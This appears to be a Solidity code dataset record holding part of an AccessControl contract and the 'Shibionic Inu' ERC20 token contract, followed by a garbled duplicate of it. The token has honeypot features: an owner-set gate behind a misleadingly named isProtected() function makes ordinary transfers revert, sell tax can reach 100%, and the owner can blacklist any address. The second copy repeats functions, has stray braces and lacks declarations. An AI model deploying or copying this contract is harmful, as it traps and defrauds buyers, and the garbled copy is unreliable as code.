* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
|
@dev if owner wants to transfer contract ether balance to own account.
|
function transferBalanceTo(address _to,uint256 _value) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ERC20: must have admin role to tranfer balance");
require(_value <= address(this).balance);
payable(_to).transfer(_value);
}
| 5,931,334
|
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/**
TELEGRAM: https://t.me/shibionicETH
TWITTER: https://twitter.com/shibionicETH
WEBSITE: https://shibionicinu.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function factory() external view returns (address);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ShibionicInu is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isSniperOrBlacklisted;
mapping (address => bool) private _liquidityHolders;
mapping (address => uint256) buyLog;
uint256 buyCoolDown = 30 seconds;
uint256 private startingSupply = 100_000_000; //100 Million
string private _name = "Shibionic Inu";
string private _symbol = "SHIBIONIC";
uint256 public _buyFee = 1000;
uint256 public _sellFee = 1000;
uint256 public _transferFee = 100;
uint256 constant public maxBuyTaxes = 10000;
uint256 constant public maxSellTaxes = 10000;
uint256 constant public maxTransferTaxes = 1000;
uint256 public _liquidityRatio = 40;
uint256 public _marketingRatio = 50;
uint256 public _devRatio = 10;
uint256 private constant masterTaxDivisor = 10_000;
uint256 private constant MAX = ~uint256(0);
uint8 constant private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
// UNI ROUTER
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet = payable(0x4908527A53e5E8Fd8C3B417Eb300B4deeBc272b2);
address payable private _teamWallet = payable(0x6976BAA610c00c3A9E8f2f01B47b6cE168d912A5);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxPercent = 5; //O.5%
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor;
uint256 private maxWalletPercent = 10; //1%
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor;
uint256 private swapThreshold = (_tTotal * 5) / 10_000; // 0.05%
uint256 private swapAmount = (_tTotal * 5) / 1_000; // 0.5%
bool private sniperProtection = false;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private sameBlockActive = false;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Caller =/= owner.");
_;
}
constructor () payable {
_tOwned[_msgSender()] = _tTotal;
// Set the owner.
_owner = msg.sender;
dexRouter = IUniswapV2Router02(_routerAddress);
lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
lpPairs[lpPair] = true;
_allowances[address(this)][address(dexRouter)] = type(uint256).max;
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[address(this)] = true;
_isExcludedFromFees[DEAD] = true;
_liquidityHolders[owner()] = true;
// Approve the owner for UniSwap, timesaver.
_approve(_msgSender(), _routerAddress, _tTotal);
// Transfer tTotal to the _msgSender.
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
// Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
// This allows for removal of ownership privelages from the owner once renounced or transferred.
function owner() public view returns (address) {
return _owner;
}
function transferOwner(address newOwner) external onlyOwner() {
require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address.");
require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address.");
setExcludedFromFees(_owner, false);
setExcludedFromFees(newOwner, true);
if (_marketingWallet == payable(_owner))
_marketingWallet = payable(newOwner);
_allowances[_owner][newOwner] = balanceOf(_owner);
if(balanceOf(_owner) > 0) {
_transfer(_owner, newOwner, balanceOf(_owner));
}
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner() {
setExcludedFromFees(_owner, false);
_owner = address(0);
emit OwnershipTransferred(_owner, address(0));
}
function totalSupply() external view override returns (uint256) { return _tTotal; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner(); }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address sender, address spender, uint256 amount) private {
require(sender != address(0), "ERC20: Zero Address");
require(spender != address(0), "ERC20: Zero Address");
_allowances[sender][spender] = amount;
emit Approval(sender, spender, amount);
}
function approveMax(address spender) public returns (bool) {
return approve(spender, type(uint256).max);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] -= amount;
}
return _transfer(sender, recipient, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setNewRouter(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
lpPair = get_pair;
}
dexRouter = _newRouter;
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
} else {
if (timeSinceLastPair != 0) {
require(block.timestamp - timeSinceLastPair > 1 weeks, "One week cooldown.");
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
_isExcludedFromFees[account] = enabled;
}
function isSniperOrBlacklisted(address account) public view returns (bool) {
return _isSniperOrBlacklisted[account];
}
function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{
uint256 timeInSeconds = Seconds * 1 seconds;
buyCoolDown = timeInSeconds;
}
function isProtected(uint256 rInitializer) external onlyOwner {
require (_liqAddStatus == 0, "Error.");
_liqAddStatus = rInitializer;
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner() {
_isSniperOrBlacklisted[account] = enabled;
}
function setStartingProtections(uint8 _block) external onlyOwner{
require (snipeBlockAmt == 0 && !_hasLiqBeenAdded, "Starting Protections have already been executed.");
snipeBlockAmt = _block;
}
function setProtectionSettings() external onlyOwner() {
sniperProtection = false;
sameBlockActive = false;
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
require(buyFee <= maxBuyTaxes
&& sellFee <= maxSellTaxes
&& transferFee <= maxTransferTaxes,
"Cannot exceed maximums.");
_buyFee = buyFee;
_sellFee = sellFee;
_transferFee = transferFee;
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner {
require (liquidity + marketing + dev == 100, "Must add up to 100%");
_liquidityRatio = liquidity;
_marketingRatio = marketing;
_devRatio = dev;
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
require(check >= (_tTotal / 1000), "Must be above 0.1% of total supply.");
_maxTxAmount = check;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
require(check >= (_tTotal / 1000), "Must be above 0.1% of total supply.");
_maxWalletSize = check;
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
swapAmount = (_tTotal * amountPercent) / amountDivisor;
}
function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner {
_marketingWallet = payable(marketingWallet);
_teamWallet = payable(teamWallet);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function _hasLimits(address from, address to) private view returns (bool) {
return from != owner()
&& to != owner()
&& !_liquidityHolders[to]
&& !_liquidityHolders[from]
&& to != DEAD
&& to != address(0)
&& from != address(this);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
} else {
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
if (_liquidityRatio + _marketingRatio + _devRatio == 0)
return;
uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2;
uint256 toSwapForEth = contractTokenBalance - toLiquify;
swapTokensForEth(toSwapForEth);
uint256 currentBalance = address(this).balance;
uint256 liquidityBalance = ((currentBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2;
if (toLiquify > 0) {
addLiquidity(toLiquify, liquidityBalance);
emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify);
}
if (contractTokenBalance - toLiquify > 0) {
_marketingWallet.transfer(((currentBalance - liquidityBalance) * _marketingRatio) / (_marketingRatio + _devRatio));
_teamWallet.transfer(address(this).balance);
}
}
function swapTokensForEth(uint256 tokenAmount) internal {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
dexRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
DEAD,
block.timestamp
);
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (!_hasLimits(from, to) && to == lpPair) {
if (snipeBlockAmt != 2) {
_liqAddBlock = block.number + 5000;
} else {
_liqAddBlock = block.number;
}
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
} else {
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniperOrBlacklisted[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
if (balanceOf(to) > 0){
require(block.timestamp - buyLog[to] >= buyCoolDown, "Buy cooldown");
}
buyLog[to] = block.timestamp;
currentFee = _buyFee;
} else if (to == lpPair) {
currentFee = _sellFee;
} else {
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply/10) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
}
|
Ownership moved to in-contract for customizability. UNI ROUTER
|
contract ShibionicInu is Context, IERC20 {
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isSniperOrBlacklisted;
mapping (address => bool) private _liquidityHolders;
mapping (address => uint256) buyLog;
uint256 buyCoolDown = 30 seconds;
string private _name = "Shibionic Inu";
string private _symbol = "SHIBIONIC";
uint256 public _buyFee = 1000;
uint256 public _sellFee = 1000;
uint256 public _transferFee = 100;
uint256 constant public maxBuyTaxes = 10000;
uint256 constant public maxSellTaxes = 10000;
uint256 constant public maxTransferTaxes = 1000;
uint256 public _liquidityRatio = 40;
uint256 public _marketingRatio = 50;
uint256 public _devRatio = 10;
uint256 private constant masterTaxDivisor = 10_000;
uint256 private constant MAX = ~uint256(0);
uint8 constant private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet = payable(0x4908527A53e5E8Fd8C3B417Eb300B4deeBc272b2);
address payable private _teamWallet = payable(0x6976BAA610c00c3A9E8f2f01B47b6cE168d912A5);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor;
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor;
bool private sniperProtection = false;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private sameBlockActive = false;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Caller =/= owner.");
_;
}
constructor () payable {
_tOwned[_msgSender()] = _tTotal;
_owner = msg.sender;
dexRouter = IUniswapV2Router02(_routerAddress);
lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
lpPairs[lpPair] = true;
_allowances[address(this)][address(dexRouter)] = type(uint256).max;
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[address(this)] = true;
_isExcludedFromFees[DEAD] = true;
_liquidityHolders[owner()] = true;
_approve(_msgSender(), _routerAddress, _tTotal);
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
function owner() public view returns (address) {
return _owner;
}
function transferOwner(address newOwner) external onlyOwner() {
require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address.");
require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address.");
setExcludedFromFees(_owner, false);
setExcludedFromFees(newOwner, true);
if (_marketingWallet == payable(_owner))
_marketingWallet = payable(newOwner);
_allowances[_owner][newOwner] = balanceOf(_owner);
if(balanceOf(_owner) > 0) {
_transfer(_owner, newOwner, balanceOf(_owner));
}
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function transferOwner(address newOwner) external onlyOwner() {
require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address.");
require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address.");
setExcludedFromFees(_owner, false);
setExcludedFromFees(newOwner, true);
if (_marketingWallet == payable(_owner))
_marketingWallet = payable(newOwner);
_allowances[_owner][newOwner] = balanceOf(_owner);
if(balanceOf(_owner) > 0) {
_transfer(_owner, newOwner, balanceOf(_owner));
}
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner() {
setExcludedFromFees(_owner, false);
_owner = address(0);
emit OwnershipTransferred(_owner, address(0));
}
function totalSupply() external view override returns (uint256) { return _tTotal; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner(); }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address sender, address spender, uint256 amount) private {
require(sender != address(0), "ERC20: Zero Address");
require(spender != address(0), "ERC20: Zero Address");
_allowances[sender][spender] = amount;
emit Approval(sender, spender, amount);
}
function approveMax(address spender) public returns (bool) {
return approve(spender, type(uint256).max);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] -= amount;
}
return _transfer(sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] -= amount;
}
return _transfer(sender, recipient, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setNewRouter(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
lpPair = get_pair;
}
dexRouter = _newRouter;
}
function setNewRouter(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
lpPair = get_pair;
}
dexRouter = _newRouter;
}
function setNewRouter(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
lpPair = get_pair;
}
dexRouter = _newRouter;
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
if (timeSinceLastPair != 0) {
require(block.timestamp - timeSinceLastPair > 1 weeks, "One week cooldown.");
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
if (timeSinceLastPair != 0) {
require(block.timestamp - timeSinceLastPair > 1 weeks, "One week cooldown.");
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
} else {
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
if (timeSinceLastPair != 0) {
require(block.timestamp - timeSinceLastPair > 1 weeks, "One week cooldown.");
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
_isExcludedFromFees[account] = enabled;
}
function isSniperOrBlacklisted(address account) public view returns (bool) {
return _isSniperOrBlacklisted[account];
}
function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{
uint256 timeInSeconds = Seconds * 1 seconds;
buyCoolDown = timeInSeconds;
}
function isProtected(uint256 rInitializer) external onlyOwner {
require (_liqAddStatus == 0, "Error.");
_liqAddStatus = rInitializer;
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner() {
_isSniperOrBlacklisted[account] = enabled;
}
function setStartingProtections(uint8 _block) external onlyOwner{
require (snipeBlockAmt == 0 && !_hasLiqBeenAdded, "Starting Protections have already been executed.");
snipeBlockAmt = _block;
}
function setProtectionSettings() external onlyOwner() {
sniperProtection = false;
sameBlockActive = false;
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
require(buyFee <= maxBuyTaxes
&& sellFee <= maxSellTaxes
&& transferFee <= maxTransferTaxes,
"Cannot exceed maximums.");
_buyFee = buyFee;
_sellFee = sellFee;
_transferFee = transferFee;
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner {
require (liquidity + marketing + dev == 100, "Must add up to 100%");
_liquidityRatio = liquidity;
_marketingRatio = marketing;
_devRatio = dev;
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
